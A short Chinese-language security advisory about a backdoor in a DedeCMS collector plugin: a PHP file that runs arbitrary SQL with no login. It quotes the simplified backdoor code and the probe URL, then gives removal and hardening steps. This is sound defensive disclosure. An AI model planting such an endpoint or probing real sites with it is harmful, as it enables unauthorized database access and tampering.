DEDE 采集大師官方版本在 include/dedesql.query.php (或改名後的 arc.sqlquery.class.php) 植入後門,**無需登入即可直接操作資料庫** (查詢/更新/刪除/導出/修復表結構/更新首頁)。
瀏覽器訪問:
https://你的域名.com/include/dedesql.query.php?dopost=viewinfo
若顯示 SQL 命令介面,即確認中招。
include/dedesql.query.php。include/arc.sqlquery.class.php,同樣刪除。<?php
require_once(dirname(__FILE__)."/../include/common.inc.php");
$dopost = empty($dopost) ? "" : $dopost;
if ($dopost == "viewinfo") { // 檢視表結構
$dsql->SetQuery("SHOW CREATE TABLE ...");
// 輸出表結構
}
elseif ($dopost == "query") { // 任意 SQL 執行
$sqlquery = trim(stripslashes($sqlquery));
if (eregi("drop.*table|drop.*database", $sqlquery)) exit("不允許 DROP");
$dsql->SetQuery($sqlquery);
$dsql->Execute();
// 輸出結果 (最多 100 筆)
}
elseif ($dopost == "index") { // 強制更新首頁
// ...
}
elseif ($dopost == "view") { // 完整 SQL 命令介面 (HTML 表單)
// 輸出含 iframe 的管理介面,可優化/修復/查看所有表、執行多行 SQL
}
?>
dopost 分發器,繞過所有權限檢查。# 立即刪除
rm -f include/dedesql.query.php include/arc.sqlquery.class.php
# 若必須保留采集功能,建議:
# 1. 將檔案移至非公開目錄
# 2. 在入口加入 IP 白名單或強制 HTTP Basic Auth
# 3. 定期審計資料庫操作日誌